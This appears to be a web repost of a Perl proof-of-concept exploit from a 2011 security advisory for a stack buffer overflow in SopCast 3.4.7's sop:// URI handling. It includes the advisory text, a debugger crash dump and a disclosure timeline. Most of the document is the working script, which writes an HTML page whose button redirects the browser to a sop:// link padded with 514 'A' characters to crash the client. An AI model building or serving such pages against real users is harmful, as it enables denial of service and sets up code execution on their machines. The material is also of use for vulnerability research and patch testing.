RSS Feed
TwitterSopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC
#!/usr/bin/perl |
# SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC |
# Vendor: SopCast.com |
# Product web page: http://www.sopcast.com |
# Affected version: 3.4.7.45585 |
# |
# Summary: SopCast is a simple, free way to broadcast video and audio or watch |
# technology, It is very efficient and easy to use. SoP is the abbreviation for |
# Streaming over P2P. Sopcast is a Streaming Direct Broadcasting System based |
# on P2P. The core is the communication protocol produced by Sopcast Team, which |
# is named sop://, or SoP technology. |
# |
# Desc: SopCast suffers from a stack-based buffer overflow vulnerability when |
# parsing the user input using the SoP protocol in sopocx.ocx module allowing |
# the attacker to gain system access and execute arbitrary code on the affected |
# machine. The issue is triggered when adding 514 bytes of string to the sop:// |
# protocol (GET), causing the app to open the link (channel) and crashing. The |
# application will crash even with 'sop://[anything]' because it fails to properly |
# sanitize and handle the uri segment, but with exactly 514 bytes the stack gets |
# overflowed, poping out the Buffer Overrun error box. Unsuccessful atempts causes |
# denial of service scenario. You can also edit the '<address>' element in the |
# favorites.xml file as the attack vector. |
# |
# |
# ================================================================================ |
# |
# (e50.fcc): Access violation - code c0000005 (first chance) |
# First chance exceptions are reported before any exception handling. |
# This exception may be expected and handled. |
# eax=01092f48 ebx=00f8e8e8 ecx=000000b7 edx=0116a7dc esi=00000001 edi=0104af88 |
# eip=100a350f esp=0618febc ebp=0618ffa8 iopl=0 nv up ei pl zr na pe nc |
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 |
# *** WARNING: Unable to verify checksum for C:\PROGRA~1\SopCast\sopocx.ocx |
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\SopCast\sopocx.ocx - |
# sopocx!DllUnregisterServer+0x9217f: |
# 100a350f 0fb606 movzx eax,byte ptr [esi] ds:0023:00000001=?? |
# ... |
# 0:000> d esp+400 |
# 0012ea78 18 10 ea 00 73 00 6f 00-70 00 3a 00 2f 00 2f 00 ....s.o.p.:././. |
# 0012ea88 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012ea98 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012eaa8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012eab8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012eac8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012ead8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0012eae8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# ... |
# 0:008> d edx+1000 |
# 00f2f8b0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f8c0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f8d0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f8e0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f8f0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f900 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f910 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f2f920 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 0:008> d eax+2000 |
# 00f320e8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f320f8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32108 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32118 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32128 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32138 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32148 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# 00f32158 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. |
# |
# ================================================================================ |
# |
# |
# Tested on: Microsoft Windows XP Professional SP3 (English) |
# |
# |
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic |
# Zero Science Lab - http://www.zeroscience.mk |
# |
# |
# Vendor status: |
# |
# [30.11.2011] Vulnerability discovered. |
# [01.12.2011] Contact with the vendor with sent detailed info. |
# [04.12.2011] No response from the vendor. |
# [05.12.2011] Public security advisory released. |
# |
# |
# Advisory ID: ZSL-2011-5063 |
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5063.php |
# |
# |
# 30.11.2011 |
# |
use strict; |
|
my $fname = "thricer.html"; |
print "\n\nooooooooooooooooooooooooooooooooooooooooooooooooo\no"." "x47 ."o\n"; |
print "o\tSopCast 3.4.7 URI Handling BoF PoC" . " "x6 . "o\no"." "x47 ."o\no\t\t"; |
print "ID: ZSL-2011-5063"." "x15 ."o\no"." "x47 ."o\n"; |
print "o\tCopyleft (c) 2011, Zero Science Lab"." "x5 ."o\no"." "x47 ."o\n"; |
print "ooooooooooooooooooooooooooooooooooooooooooooooooo\n\n"; |
my $curiosity = "\n</center>\n</body>\n</html>"; |
my $unknown = "<form>\n<input type=\"button\" value=\"Push The Button!\" "; |
my $with = "onclick=\"exploit()\" />" . "\n</form>"; |
my $of = "<body bgcolor=\"#002233\">\n<br /><br />\n<center>\n"; |
my $fear = "</script>\n</head>\n"; |
my $replace = "<html>\n<head>\n<title>". |
"SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer". |
" Overflow PoC</title>\n". |
"<script type=\"text/javascript\">\n"; |
my $code = "window.location.href = \"sop://"."A"x514 ."\";\n"; |
my $the = "function exploit()\n{\n" . $code . "}\n"; |
my $payload = $replace.$the.$fear.$of.$unknown.$with.$curiosity; |
|
print "\n\n[*] Creating $fname file...\n"; |
open ENOUGH, ">./$fname" || die "\nCan't open $fname: $!"; |
print ENOUGH $payload; print "\n"; sleep 1; |
print "\n[.] File successfully scripted!\n\n"; |
close ENOUGH;
0 Response to "SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC"
Post a Comment